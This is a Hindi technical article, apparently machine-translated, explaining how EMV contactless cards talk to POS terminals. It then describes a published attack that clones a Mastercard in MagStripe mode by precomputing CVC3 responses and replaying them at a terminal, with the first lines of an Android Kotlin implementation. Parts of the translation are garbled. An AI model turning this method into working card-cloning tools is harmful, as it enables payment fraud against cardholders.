मोबाइल एप्लिकेशन का उपयोग करके संपर्क रहित कार्ड क्लोन करें

यह देखना हमेशा दिलचस्प था कि "हुड" के तहत बैंक कार्ड पर क्या हो रहा है। बैंक कार्ड और पीओएस टर्मिनल का संचार प्रोटोकॉल कैसे लागू किया जाता है, यह कैसे काम करता है और यह कितना सुरक्षित है। ऐसा अवसर मेरे सामने तब आया जब मैं डिजिटल सुरक्षा में इंटर्नशिप कर रहा था। परिणामस्वरूप, जब मैगस्ट्रिप मोड में ईएमवी कार्डों की एक ज्ञात भेद्यता को पार्स किया गया, तो यह एक मोबाइल एप्लिकेशन को लागू करने का निर्णय लिया गया जो टर्मिनल के साथ संपर्क रहित इंटरफ़ेस के माध्यम से संचार करने में सक्षम है, अपने स्वयं के आदेशों और अनुरोधों और प्रतिक्रियाओं का विस्तृत विश्लेषण। और MagStripe मोड में मास्टर कार्ड की क्लोनिंग की विधि को लागू करने का भी प्रयास करें।

इस लेख में मैं यह वर्णन करने की कोशिश करूंगा कि ईएमवी कार्ड क्या है, यह कैसे काम करता है और एंड्रॉइड का उपयोग करके आप अपने मास्टर कार्ड को क्लोन करने का प्रयास कर सकते हैं।

"कुछ चीजें हैं जो पैसे नहीं खरीद सकते हैं। बाकी सब कुछ के लिए, वहाँ मास्टरकार्ड »

EMV कार्ड क्या है?


EMV एक चिप के साथ बैंक कार्ड के लिए अंतरराष्ट्रीय मानक है। E uropay + M AsterCard + V ISA ने इस मानक के विकास में भाग लिया, इसलिए नाम। आइए यह पता लगाने की कोशिश करें कि कार्ड एक संपर्क रहित इंटरफ़ेस के माध्यम से पीओएस टर्मिनल के साथ कैसे संचार करता है।

आइए बुनियादी बातों से शुरू करें।

एक भौतिक EMV संपर्क रहित कार्ड RFID टैग के समान ही काम करता है। यदि यह बुनियादी है, तो चिप विद्युत चुम्बकीय क्षेत्र में प्रवेश करती है, और एक परिचालित संवाहक सर्किट में (हमारे मामले में यह एक परिधि के आसपास स्थित एंटीना होगा), एक वैकल्पिक चुंबकीय क्षेत्र में रखा गया है, एक वैकल्पिक विद्युत प्रवाह उत्पन्न होता है। यह वर्तमान कार्ड के गुंजयमान सर्किट के समानांतर जुड़ा एक विशेष संधारित्र चार्ज करता है। संधारित्र में संग्रहीत ऊर्जा का उपयोग विभिन्न परिचालनों के लिए एक माइक्रोक्रिकिट कार्ड बनाने के लिए किया जाता है। जब पाठक विद्युत चुम्बकीय क्षेत्र को बदलता है, तो परिवर्तन तुरंत चिप पर ध्यान देने योग्य होगा। सिग्नल मॉड्यूलेशन का उपयोग करके, हम बाइनरी फॉर्म में जानकारी प्रसारित कर सकते हैं। यदि आप कार्ड पर लोड प्रतिरोध को कनेक्ट करते हैं या कैपेसिटर के कैपेसिटेंस को बदलते हैं, तो आप कार्ड की सर्किट में वर्तमान ताकत को बदल सकते हैं, जिससे रीडर सर्किट के क्षेत्र में इसके द्वारा बनाए गए विद्युत चुम्बकीय क्षेत्र में बदलाव होगा, इस प्रकार कार्ड डेटा को प्रसारित करता है। पाठक को इन परिवर्तनों का पता लगाना होगा। यह भौतिक इंटरैक्शन आईएसओ / आईईसी 14443 मानक "पहचान पत्र - संपर्क रहित एकीकृत सर्किट (कार्ड) - निकटता कार्ड" द्वारा नियंत्रित होता है।

कार्ड चिप अपने आप में एक स्मार्ट कार्ड है जो जावाकार्ड को चलाता है, कम कंप्यूटिंग संसाधनों वाले प्लेटफार्मों के लिए जावा का एक अलग संस्करण और क्रिप्टोग्राफी एल्गोरिदम के लिए समर्थन करता है। JavaCard एप्लेट डाउनलोड करता है, जो अनुप्रयोग हैं। एक GlobalPlatform भी जावा कार्ड के लिए एक निश्चित मानक है, जो मानचित्र पर डेटा को सुरक्षित रूप से प्रबंधित करने की क्षमता प्रदान करता है और आपको मानचित्र पर एप्लिकेशन डाउनलोड करने, संशोधित करने और हटाने की अनुमति देता है। इस लेख में, हम स्मार्ट कार्ड के सुरक्षा तंत्र पर ही विचार नहीं करेंगे। यह जानने के लिए पर्याप्त है कि संरक्षित डेटा, उदाहरण के लिए, निजी कुंजी और कार्ड की गुप्त मास्टर कुंजी, सुरक्षित स्थान पर हैं और मानक साधनों का उपयोग करके उन्हें निकालना असंभव है।

मैं आपको उन लोगों के लिए एक छोटी शब्दावली भी याद दिलाता हूं जो परिचित नहीं हैं।

पीओएस-टर्मिनल (प्वाइंट ऑफ सेल) - एक विक्रेता का उपकरण जो एक कार्ड पढ़ता है और एक भुगतान शुरू करता है। इसके अलावा हम इस डिवाइस को बस एक टर्मिनल कहेंगे।
जारीकर्ता बैंक आपका कार्ड जारी करने वाला बैंक है।
Acquirer बैंक - एक बैंक जो विक्रेताओं को पीओएस-टर्मिनल जारी करता है और उनसे भुगतान की प्रक्रिया करता है।
भुगतान प्रणाली अधिग्रहणकर्ता बैंक और जारी करने वाले बैंक के बीच केंद्रीय लिंक है, बिल्कुल सभी भुगतान इसके माध्यम से जाते हैं, और यह जानता है कि किस बैंक को कितना पैसा हस्तांतरित करना चाहिए। दुनिया में कई भुगतान प्रणाली हैं, प्रसिद्ध वीजा और मास्टरकार्ड के अलावा, अमेरिकन एक्सप्रेस , चीन UnionPay और रूसी भुगतान प्रणाली MIR भी हैं

खैर, कार्ड और पाठक संवाद कर सकते हैं। वे टैग-लंबाई-मूल्य के रूप में एक दूसरे को एपीडीयू कमांड भेजते हैं यानी टैग का नाम हेक्साडेसिमल, इसकी लंबाई और मूल्य में ही प्रसारित होता है। सभी आदेशों को दस्तावेज़ीकरण में वर्णित किया गया है और कुछ इस तरह दिखता है:

छवि

मानक EMV लेनदेन कई चरणों में होता है, मैं संपर्क इंटरफ़ेस के मामले में पूर्ण इंटरेक्शन एल्गोरिथ्म का वर्णन करूंगा, एक संपर्क रहित इंटरफ़ेस के लिए एल्गोरिदम कुछ हद तक छोटा है:

  • आवेदन चयन;
  • आवेदन प्रसंस्करण का प्रारंभ;
  • एप्लिकेशन डेटा पढ़ना
  • ऑफ़लाइन प्रमाणीकरण
  • प्रसंस्करण बाधाओं;
  • कार्डधारक की जांच;
  • टर्मिनल के किनारे जोखिम प्रबंधन;
  • टर्मिनल क्रियाओं का विश्लेषण;
  • कार्ड पक्ष पर जोखिम प्रबंधन;
  • कार्ड के कार्यों का विश्लेषण;
  • ऑनलाइन प्रसंस्करण;
  • ऑपरेशन पूरा हुआ।

छवि

हम प्रत्येक ऑपरेशन पर संक्षेप में विचार करते हैं।

आवेदन चयन। अक्सर ऐसा होता है कि एक कार्ड पर कई एप्लिकेशन हो सकते हैं। उदाहरण के लिए, एक बैंक कार्ड और एक यात्रा टिकट। और टर्मिनल को किसी भी तरह यह पता लगाने की जरूरत है कि कहां और किस एल्गोरिदम का उपयोग करना है। तथाकथित अनुप्रयोग पहचानकर्ता (AID ) का उपयोग किसी अनुप्रयोग का चयन करने के लिए किया जाता है। इसे समझने के लिए, टर्मिनल एक सेलेक्ट कमांड भेजता है। उदाहरण के लिए, वीज़ा क्लासिक कार्ड का AID इस तरह दिखेगा: A0000000031010 यदि ऐसे कई कोड प्रतिक्रिया में आते हैं और टर्मिनल कई अनुप्रयोगों के साथ काम कर सकता है, तो टर्मिनल एक सूची प्रदर्शित करेगा और हमें उस एप्लिकेशन का चयन करने की पेशकश करेगा जो हमें चाहिए। यदि टर्मिनल किसी भी एप्लिकेशन कोड का समर्थन नहीं करता है, तो ऑपरेशन को टर्मिनल द्वारा अस्वीकार कर दिया जाएगा।

अनुप्रयोग प्रसंस्करण को प्रारंभ करना। यहां, भौगोलिक स्थिति को सबसे पहले जांचा जाता है। उदाहरण के लिए, मेस्ट्रो मोमेंटम कार्ड केवल रूस में भुगतान के लिए काम कर सकते हैं। यह चरण ऑफलाइन परिचालन करते समय जारीकर्ताओं को मौजूदा ऑनलाइन जोखिम प्रबंधन विधियों को लागू करने का अवसर प्रदान करने के लिए किया जाता है। इस स्तर पर, एक EMV लेनदेन को कार्ड की पहल पर ही रद्द किया जा सकता है यदि इस प्रकार का लेनदेन दुनिया में किसी दिए गए देश में जारीकर्ता द्वारा निषिद्ध है। इसके अलावा, कार्ड विशेष रूप से संरचित जानकारी का एक सेट टर्मिनल पर पहुंचाता है जिसमें कार्ड की कार्यक्षमता और एप्लिकेशन का विवरण होता है।

एप्लिकेशन डेटा पढ़ें। लेन-देन के लिए आवश्यक विभिन्न कार्ड डेटा टर्मिनल पर प्रेषित किए जाते हैं, उदाहरण के लिए, कार्ड नंबर, समाप्ति तिथि, लेनदेन काउंटर और कई अन्य डेटा। उनमें से कुछ पर बाद में चर्चा की जाएगी।

नमूना डेटा:

छवि

जारीकर्ता बैंक और कार्ड की सार्वजनिक कुंजी का एक प्रमाण पत्र भी प्रेषित किया जाता है। टर्मिनल के लिए कुछ कार्ड डेटा के डिजिटल हस्ताक्षर को सत्यापित करने में सक्षम होने के लिए, PKI अवसंरचना (पब्लिक की इन्फ्रास्ट्रक्चर) का उपयोग किया जाता है। संक्षेप में, भुगतान प्रणाली में कुंजियों की एक जोड़ी है - सार्वजनिक और निजी, और भुगतान प्रणाली CA (केंद्र प्राधिकरण) के सभी प्रतिभागियों के लिए है। वास्तव में, जारीकर्ता के प्रत्येक बैंक के लिए भुगतान प्रणाली एक नई कुंजी जोड़ी जारी करती है, और साथ ही जारीकर्ता के बैंक की सार्वजनिक कुंजी का एक प्रमाण पत्र भी निजी कुंजी CA के साथ हस्ताक्षरित करती है। इसके अलावा, जब बैंक एक नया कार्ड जारी करता है, तो यह तदनुसार कार्ड की एक जोड़ी कुंजी बनाता है, और कार्ड की सार्वजनिक कुंजी का एक प्रमाण पत्र भी बनाता है, इसे बैंक की निजी कुंजी का उपयोग करके हस्ताक्षरित करता है। टर्मिनलों में, एक सार्वजनिक कुंजी प्रमाणपत्र आमतौर पर विभिन्न भुगतान प्रणालियों के लिए वायर्ड किया जाता है। इस प्रकार, जब कार्ड जारीकर्ता के बैंक के सार्वजनिक कुंजी प्रमाणपत्र और कार्ड के प्रमाण पत्र को स्वयं प्रसारित करता है, तो टर्मिनल भुगतान प्रणाली की सार्वजनिक कुंजी का उपयोग करके आसानी से पूरी श्रृंखला की जांच कर सकता है। टर्मिनल, भुगतान प्रणाली की सार्वजनिक कुंजी का उपयोग करते हुए, पहले जारीकर्ता के बैंक प्रमाणपत्र की प्रामाणिकता की पुष्टि करता है, अगर यह वास्तविक है, तो इस पर भरोसा किया जा सकता है और अब जारीकर्ता के बैंक प्रमाण पत्र का उपयोग करके आप कार्ड के प्रमाण पत्र को स्वयं सत्यापित कर सकते हैं। EMV सुरक्षा के बारे में लेख में अधिक जानकारी।

ऑफ़लाइन प्रमाणीकरण। टर्मिनल समर्थित ऑफ़लाइन प्रमाणीकरण विधि का प्रकार निर्धारित करता है। स्थिर ( स्टेटिक डेटा ऑथेंटिकेशन - एसडीए ), डायनेमिक ( डायनेमिक डेटा ऑथेंटिकेशन - डीडीए ) और कंबाइंड ( कंबाइंड डेटा ऑथेंटिकेशन - सीडीए ) है। ये तरीके भी PKI पर आधारित हैं। एसडीए केवल जारीकर्ता के बैंक की निजी कुंजी, डीडीए पर हस्ताक्षरित डेटा है - टर्मिनल कुछ यादृच्छिक संख्या भेजता है और कार्ड को अपनी निजी कुंजी का उपयोग करके इसे हस्ताक्षरित करना होगा, और टर्मिनल पहले प्राप्त कार्ड प्रमाण पत्र का उपयोग करके इस हस्ताक्षर को सत्यापित करेगा, इसलिए टर्मिनल यह सुनिश्चित करेगा कि कार्ड में वास्तव में एक निजी कुंजी है - इसलिए यह वास्तविक है। सीडीए दोनों का एक संयोजन है।

प्रतिबंधों से निपटना। यहां, टर्मिनल इस ऑपरेशन के लिए उपयुक्तता की स्थिति के लिए कार्ड से पहले प्राप्त डेटा की जांच करता है। उदाहरण के लिए, यह आवेदन की समाप्ति तिथि (प्रारंभ '5F24') और अनुप्रयोग प्रभावी तिथि (टैग '5F25') की शुरुआत / समाप्ति तिथियों की जाँच करता है। यह एप्लिकेशन के संस्करण की भी जांच करता है। इस चरण में किए गए संचालन के परिणाम टीवीआर रिपोर्ट (टर्मिनल सत्यापन परिणाम) में भी दर्ज किए जाते हैं। इस चरण के परिणामों के आधार पर, लेनदेन को रद्द नहीं किया जा सकता है, भले ही, उदाहरण के लिए, आवेदन समाप्त हो गया हो।

कार्ड धारक का चेक। कार्डधारक सत्यापन कार्ड प्रदान करने वाले व्यक्ति को प्रमाणित करने और सत्यापित करने के लिए किया जाता है कि वह कार्ड का असली मालिक है या नहीं। EMV मानक विभिन्न कार्डधारक सत्यापन विधियाँ प्रदान करता है। सत्यापन विधियों को टर्मिनल और मानचित्र पर दोनों परिभाषित किया गया है। वे तथाकथित सीवीएम सूचियों में निहित हैं। निष्पादन की प्रक्रिया में, टर्मिनल और कार्ड प्राप्त सीवीएम सूचियों की तुलना करते हैं और सामान्य सत्यापन विधि का चयन करते हैं।

समर्थित सत्यापन विधियों की सूची:

  • कोई सीवीएम की आवश्यकता ('011111'b);
  • विफल सीवीएम प्रसंस्करण ('000000' बी);
  • हस्ताक्षर ('011110'b);
  • एनिलिश्ड पिन ऑनलाइन सत्यापित ('000010'b);
  • आईसीसी ('000001'b) द्वारा निष्पादित प्लेनटेक्स्ट पिन सत्यापन;
  • आईसीसी और हस्ताक्षर ('000011'b) द्वारा किए गए प्लेनटेक्स्ट पिन सत्यापन;
  • ICC (00 000100'b) द्वारा किया गया एनिलिश्ड पिन सत्यापन;
  • ICC और सिग्नेचर (01 000101'b) द्वारा किया गया एनशिरेड पिन वर्फी कैशन।

यहाँ इस विषय पर रोचक जानकारी भी है।

टर्मिनल के किनारे जोखिम प्रबंधन। इस स्तर पर, टर्मिनल अधिग्रहण बैंक के जोखिम प्रबंधन सेटिंग्स के आधार पर, लेनदेन मापदंडों का आंतरिक सत्यापन करता है। टर्मिनल द्वारा रीडिंग कार्ड डेटा की प्रक्रिया को पूरा करने और टर्मिनल के पहले जेनरेट एसी कमांड के गठन के बीच किसी भी समय जोखिम प्रबंधन प्रक्रियाएं की जा सकती हैं। टर्मिनल साइड पर जोखिम प्रबंधन में तीन तंत्र शामिल हैं:

  • कार्ड पर किए गए संचालन के आकार का नियंत्रण ( फ्लोर लिमिट चेकिंग );
  • जारीकर्ता द्वारा इस लेनदेन के ऑनलाइन प्राधिकरण के लिए यादृच्छिक लेनदेन चयन ( रैंडम ट्रांज़ैक्शन चयन );
  • कार्ड का उपयोग करने की ऑफ़लाइन गतिविधि की जाँच करना ( वेग जाँच )।

टर्मिनल क्रियाओं का विश्लेषण। इस स्तर पर, टर्मिनल लेनदेन के पिछले चरणों के परिणामों का विश्लेषण करता है। विश्लेषण के परिणामों के आधार पर, टर्मिनल इस बात पर निर्णय लेता है कि क्या ऑपरेशन को ऑनलाइन करना है, इसे ऑफ़लाइन करने या ऑपरेशन को अस्वीकार करने की अनुमति देता है।

कार्ड पक्ष पर जोखिम प्रबंधन। लेन-देन, टर्मिनल और टर्मिनल चेक के परिणामों के बारे में जेनरेट एसी कमांड डेटा से प्राप्त कार्ड, बदले में, अपनी जोखिम प्रबंधन प्रक्रियाओं को पूरा करता है और ऑपरेशन को पूरा करने के बारे में अपना निर्णय लेता है।

कार्ड के कार्यों का विश्लेषण। इस स्तर पर, कार्ड जोखिम प्रबंधन प्रक्रियाओं को पूरा करता है और टर्मिनल के लिए एक प्रतिक्रिया क्रिप्टोग्राम उत्पन्न करता है। यदि कार्ड लेन-देन को मंजूरी देने का फैसला करता है, तो एक लेन-देन प्रमाण पत्र उत्पन्न होता है। यदि कार्ड वास्तविक समय में ऑपरेशन करने का फैसला करता है, तो यह एक एआरक्यूसी (प्राधिकरण अनुरोध क्रिप्टोग्राम) उत्पन्न करता है। यदि कार्ड वैकल्पिक प्राधिकरण विधियों का उपयोग करता है, तो अनुप्रयोग प्राधिकरण रेफरल का उपयोग किया जाता है । यदि कार्ड लेनदेन को अस्वीकार करता है, तो आवेदन प्रमाणीकरण क्रिप्टोग्राम

जारीकर्ता को प्रमाणित करने के लिए एक अन्य ARPC (प्राधिकरण प्रतिक्रिया क्रिप्टोग्राम) क्रिप्टोग्राम की आवश्यकता होती है। जारीकर्ता एक क्रिप्टोग्राम एआरपीसी उत्पन्न करता है और कार्ड को क्रिप्टोग्राम भेजता है, अगर कार्ड क्रिप्टोग्राम की पुष्टि करता है, तो जारीकर्ता कार्ड द्वारा प्रमाणित होता है।

चाबियों की सुरक्षा और कार्ड के पारस्परिक प्रमाणीकरण और आई। एम। गोल्डोवस्की की पुस्तक से जारीकर्ता के बारे में थोड़ा:
पारस्परिक प्रमाणीकरण का अर्थ यह है कि कार्ड और टर्मिनल एक दूसरे को ARQC और ARPC क्रिप्टोग्राम के प्रमाणीकरण का उपयोग करके प्रमाणित करते हैं। क्रिप्टोग्राम एक गुप्त कुंजी (जिसे कार्ड और बैंक से जारीकर्ता को जाना जाता है), लेनदेन संख्या, टर्मिनल द्वारा उत्पन्न यादृच्छिक संख्या, साथ ही लेनदेन, टर्मिनल और कार्ड के कुछ विवरणों का उपयोग करके उत्पन्न डेटा होते हैं। एआरपीसी के मामले में, जारीकर्ता का प्राधिकरण प्रतिक्रिया कोड भी सूचीबद्ध डेटा में जोड़ा जाता है। क्रिप्टोग्राम उत्पन्न करने के लिए कार्ड की गुप्त कुंजी को जाने बिना, प्रौद्योगिकी के वर्तमान स्तर के साथ निकट समय में ARQC / ARPC मूल्यों की गणना करना असंभव है, और इसलिए उनके सफल सत्यापन का तथ्य कार्ड और जारीकर्ता की प्रामाणिकता को इंगित करता है। ऑनलाइन प्रमाणीकरण कार्ड को प्रमाणित करने का सबसे विश्वसनीय तरीका है। यह इस तथ्य के कारण है कि इसे जारीकर्ता द्वारा सीधे एक टर्मिनल के रूप में मध्यस्थ के बिना किया जाता है। इसके अलावा, 112-बिट अस्थायी कुंजी के साथ 3 डीईएस एल्गोरिथ्म का उपयोग ऑनलाइन प्रमाणीकरण के लिए किया जाता है, जिसमें से क्रिप्टोग्राफ़िक ताकत आरएसए एल्गोरिथ्म की क्रिप्टोग्राफ़िक ताकत से मेल खाती है, 1700 बिट्स वाले कार्ड एप्लिकेशन के ऑफ़लाइन प्रमाणीकरण के लिए उपयोग किए जाने वाले असममित कुंजी मॉड्यूल लंबाई के साथ। कार्ड पर इस लंबाई की असममित कुंजियों का उपयोग करना अभी भी काफी दुर्लभ है। आमतौर पर 1024, 1152 या 1408 बिट्स की मॉड्यूल लंबाई वाली कुंजियों का उपयोग किया जाता है।


अंत में, एक ऑनलाइन लेनदेन एक श्रृंखला के माध्यम से होता है:
कार्ड <-> पीओएस-टर्मिनल <-> बैंक अधिग्रहण <-> भुगतान प्रणाली <-> बैंक जारीकर्ता।

छवि

MagStripe मोड में क्लोन मास्टरकार्ड


हम क्लोनिंग के सिद्धांत पर सीधे आगे बढ़ते हैं। यह संपर्क रहित कार्ड हमला विधि ऑस्ट्रिया के विश्वविद्यालय से दो शोधकर्ताओं माइकल रोलैंड, जोसेफ लैंगर द्वारा प्रकाशित की गई थी। यह स्किमिंग नामक एक सामान्य सिद्धांत पर आधारित है। यह ऐसा परिदृश्य है जिसमें कोई हमलावर इस कार्ड से जानकारी पढ़कर (कॉपी करके) बैंक कार्ड से पैसे चुराता है। सामान्य स्थिति में, पिन को गुप्त रखना महत्वपूर्ण है और इसे लीक नहीं करना है। लेकिन ऑस्ट्रियाई लोगों की पद्धति में हमें यह जानने की आवश्यकता नहीं है। ईएमवी कॉन्टैक्टलेस कर्नेल 2 एप्लिकेशन के कर्नेल संस्करण के लिए भुगतान कार्ड का क्लोनिंग सफल है। इस प्रोटोकॉल का संस्करण संपर्क रहित कार्ड के लिए दो ऑपरेटिंग मोड का समर्थन करता है: ईएमवी प्रोटोकॉल (मास्टर कार्ड पेपास एम / चिप) और मैगस्ट्रिप (मास्टर कार्ड पेपास मैगस्ट्रिप) मोड।

मैग्स्ट्रिप एक मैग्नेटिक स्ट्राइप कार्ड सपोर्ट मोड है। यह मोड एक संपर्क रहित इंटरफ़ेस के साथ मास्टर कार्ड पर लागू किया गया है। मैगस्ट्रिप मोड में बैंकों के लिए सबसे अधिक संभावना है कि चिप संपर्क रहित ईएमवी लेनदेन का समर्थन करने के लिए पूरे बुनियादी ढांचे को स्थानांतरित करना मुश्किल है। वैसे, वीज़ा कार्ड में भी ऑपरेशन का एक समान तरीका होता है - PayWave MSD (मैग्नेटिक स्ट्राइप डेटा)

संपर्क रहित कार्ड के लिए लेनदेन प्रक्रिया की प्रक्रिया चिप कार्ड की तुलना में कम की जाती है और आमतौर पर निम्नलिखित मोड में काम करती है:

  1. टर्मिनल एक सेलेक्ट पीपीएसई (प्रॉक्सिमिटी पेमेंट सिस्टम एनवायरनमेंट) कमांड भेजता है। कार्ड समर्थित अनुप्रयोगों की एक सूची भेजता है।
  2. टर्मिनल एक SELECT कमांड भेजता है। जवाब में, वह आवश्यक आवेदन विवरण प्राप्त करता है।
  3. टर्मिनल GET_PROCESSING_OPTIONS कमांड भेजता है। कार्ड उत्तर देता है कि यह किस प्रकार के प्रमाणीकरण का समर्थन करता है और कार्डधारक का सत्यापन वहां मौजूद है या नहीं।
  4. टर्मिनल READ_RECORDS कमांड भेजता है। प्रतिक्रिया में कार्ड ट्रैक 1 और ट्रैक 2 को लगभग वही भेजता है जो कार्ड की चुंबकीय पट्टी पर दर्ज किया गया था।
  5. टर्मिनल COMPUTE_CRYPTOGRAPHIC_CHECKSUM आदेश भेजता है। जिसका अर्थ है कि कार्ड को पास अप्रत्याशित संख्या के आधार पर CVC3 मान उत्पन्न करना चाहिए।

छवि

यह सब वास्तविक जीवन में कैसे दिखता है?
यह APDU टीम की तरह दिखता है। सभी टैग की सूची

APDU - एप्लिकेशन प्रोटोकॉल डेटा यूनिट एक मैप कमांड या मैप प्रतिक्रिया के साथ एक फ्रेम का प्रतीक है।

इस विषय पर कुछ लेख यहाँ और यहाँ हैं

कार्ड विशेष COMPUTE CRYPTOGRAPHIC CHECKSUM कमांड का समर्थन करता है, जिसका तर्क अप्रत्याशित संख्या डेटा ऑब्जेक्ट (UDOL) में परिभाषित डेटा है। नतीजतन, कार्ड 3DES एल्गोरिथ्म और गुप्त कुंजी का उपयोग करके गतिशील मूल्य CVC3 (कार्ड सत्यापन कोड) की गणना करता है। 3 डीईएस फ़ंक्शन के तर्क के रूप में, यूडीओएल डेटा और लेन-देन काउंटर (एप्लिकेशन ट्रांजैक्शन काउंटर, एटीसी) का उपयोग किया जाता है। इस प्रकार, CVC3 का मूल्य हमेशा संयुक्त राष्ट्र और एटीसी वस्तुओं पर निर्भर करता है।

दूसरे शब्दों में, इस आदेश की आवश्यकता है ताकि कार्ड एक निश्चित "हस्ताक्षर" उत्पन्न करे ताकि जारीकर्ता कार्ड को सत्यापित कर सके। हालाँकि, इस हस्ताक्षर से लेन-देन का हस्ताक्षर स्वयं गायब है। हस्ताक्षर में एटीसी मान शामिल हैं - 2 बाइट्स , सीवीसी 3 (ट्रैक 1) - 2 बाइट्स , सीवीसी 3 (ट्रैक 2) - 2 बाइट्स , जो गुप्त कुंजी के आधार पर कार्ड द्वारा उत्पन्न होते हैं, जो जारीकर्ता बैंक और लेनदेन काउंटर (एटीसी) भी जानते हैं। उसी समय, हस्ताक्षर उत्पन्न करने के लिए, पीओएस टर्मिनल संयुक्त राष्ट्र (अप्रत्याशित संख्या) कार्ड - 4 बाइट्स को सूचित करता है, जिसका उपयोग हस्ताक्षर की पीढ़ी में भी किया जाता है। कपटपूर्ण लेनदेन में बाद के उपयोग के लिए अप्रत्याशित संख्या एक वास्तविक कार्ड पर प्रमाणीकरण कोड की पीढ़ी को रोकता है। हमले के लिए, यूएन दृढ़ता से हमारे साथ हस्तक्षेप करता है, क्योंकि लेनदेन काउंटर की सीमाओं से परे जाने के बिना 4 बाइट्स की गणना करना संभव नहीं है। हालांकि, इसके स्पेसिफिकेशन में कुछ कमजोरियां हैं।

सबसे पहले, विनिर्देश संयुक्त राष्ट्र को संख्याओं के एन्कोडिंग, यानी बाइनरी दशमलव कोड (बीसीडी) को प्रतिबंधित करता है, जिसका अनिवार्य रूप से मतलब है कि यदि हम एचईएक्स में ऐसे एन्कोडेड नंबर को देखते हैं, तो हम केवल 0 से 9 तक संख्या देखेंगे, अन्य सभी मानों पर विचार किया जाता है मानो निषिद्ध हो। इस प्रकार, UN की मात्रा 4,294,967,295 से घटकर 99,999,999 हो जाती है।

दूसरे, संयुक्त राष्ट्र के अंकों की संख्या कार्ड द्वारा निर्धारित की जाती है। इस प्रकार, पटरियों में विशेष मापदंडों के आधार पर, यूएन में अंकों की संख्या 10 से 10,000 तक हो सकती है, कार्ड के प्रकार के आधार पर, अभ्यास में, 1000 मान सबसे अधिक बार पाए जाते हैं।

इस प्रकार, हमले की योजना इस प्रकार है:

  1. हम कार्ड पढ़ते हैं और संयुक्त राष्ट्र से महत्वपूर्ण अंकों की संख्या का पता लगाते हैं, जो टर्मिनल प्रदान करेगा
  2. हम सभी यूएन के माध्यम से सॉर्ट करते हैं, COMPUTE_CRYPTOGRAHIC_CHECKSUM फ़ंक्शन के सभी संभावित मान प्राप्त करते हैं, उन्हें मैपिंग संयुक्त राष्ट्र के साथ संबंधित तालिका में सहेजें -> परिणाम
  3. हम इसे पीओएस टर्मिनल पर लाते हैं, हम उस नंबर का पता लगाते हैं जो पीओएस टर्मिनल मांगता है।
  4. हम तालिका से वांछित परिणाम का चयन करते हैं और टर्मिनल के जवाब में इसे प्रतिस्थापित करते हैं।
  5. लेन-देन छूट रहा है।
  6. लाभ। लेकिन लेनदेन के अनुमोदन की सफलता की गारंटी नहीं है, क्योंकि जारीकर्ता बैंक इस तरह के लेनदेन को अस्वीकार कर सकता है।

छवि

यह भी ध्यान देने योग्य है कि लेन-देन काउंटर (एटीसी) पहले इस्तेमाल किए गए प्रमाणीकरण कोड के पुन: उपयोग को रोकता है, जिसका अर्थ है कि यदि हमने इस हमले का उपयोग किया है, तो हमें कार्ड को फिर से कॉपी करना होगा, क्योंकि लेन-देन काउंटर पहले से ही जानकारी प्राप्त करने के लिए उपयोग किया गया था और हस्ताक्षर में उपयोग किया गया था, जिसका अर्थ है यदि हमारे पास 1000 का लेन-देन काउंटर है, और हमने बैंक को लेनदेन भेजा है, तो बैंक अब <1001 से नीचे के काउंटर के साथ लेनदेन स्वीकार नहीं करेगा।इसके अलावा, लेनदेन काउंटर 2 बाइट्स तक सीमित है, जिसका अर्थ है कि हम 65 से अधिक कार्ड क्लोनिंग चक्र नहीं कर सकते हैं, जिसके बाद कार्ड सबसे अधिक संभावना काम करना बंद कर देगा।

ज्यादातर मामलों में, कार्ड से प्रेषित डेटा सभी लेनदेन के लिए स्थिर है। बेशक, COMPUTE_CRYPTOGRAPHIC_CHECKSUM को छोड़कर । गतिशील CVC3 कोड कार्ड आवेदन उत्पन्न करने के लिए की एक टीम द्वारा पढ़ा जाना चाहिए का चयन करें , तो GET_PROCESSING_OPTIONS , और उसके बाद ही COMPUTE_CRYPTOGRACHIC_CHECKSUM और यह काफी एक महत्वपूर्ण बिंदु है। सीवीसी 3 उत्पन्न करने के लिए इन तीन कमांडों की आवश्यकता होती है। प्रयोग के अनुसार, केवल इन तीन आदेशों का उपयोग करते हुए, Google गैलेक्सी नेक्सस एस पर 1000 मानों को छांटे केवल एक मिनट लगा।

टर्मिनल और कार्ड के साथ काम करने के लिए, मास्टरकार्ड से टर्मिनल सिम्युलेटर प्रोग्राम का उपयोग किया गया था। यह विभिन्न प्रकार के एनएफसी पाठकों और स्मार्ट कार्ड पाठकों के साथ काम करता है। इसके अलावा, यह बिल्कुल मुफ्त है। यह आपको पीओएस टर्मिनल की विभिन्न सेटिंग्स के साथ कार्ड का परीक्षण करने की अनुमति देता है और टर्मिनल और कार्ड प्रतिक्रियाओं से सभी अनुरोधों का एक विस्तृत लॉग बनाए रखता है। यह फोन पर एप्लिकेशन का परीक्षण करने के लिए भी इस्तेमाल किया जा सकता है, मैप मोड में काम कर रहा है।

छवि

कार्ड को पढ़ने के लिए, एनएफसी रीडर ACR122 का उपयोग किया गया था

छवि

अब इस सब को कोड में बदलने की कोशिश करते हैं। आवेदन Android के लिए कोटलिन भाषा में लिखा जाएगा। सबसे पहले, आइए टीम की सामान्य संरचना का वर्णन करने का प्रयास करें।

data class Command( var CLA: String = 0x00.toString(), var INS: String = 0x00.toString(), var P1: String = "", var P2: String = "", var Lc: String = "", var Nc: String = "", var Le: String = "", var Nr: String = "", var SW1WS2: String = "" ) { fun split(): ByteArray { return getHexString().hexToByteArray() } fun getHexString() = CLA.plus(INS).plus(P1).plus(P2).plus(Lc).plus(Nc).plus(Le).plus(Nr).plus(SW1WS2) } 

सबसे पहले, हमें एनएफसी के साथ काम स्थापित करने की आवश्यकता है। फोन पर हम दो मोड में काम कर सकते हैं। कार्ड मोड में, यह तब होता है जब हम टर्मिनल से कमांड का जवाब देते हैं, और टर्मिनल मोड में जब हम कमांड भेजते हैं और पढ़ते हैं, उदाहरण के लिए, एक कार्ड। यानी सबसे पहले, हम कार्ड को क्लोन कर सकते हैं, और फिर सुनिश्चित कर सकते हैं कि हम पहले से तैयार कमांड के साथ टर्मिनल से अनुरोधों का जवाब देते हैं।

निम्नलिखित एनएफसी के साथ बातचीत का एक सरलीकृत कार्यान्वयन है:

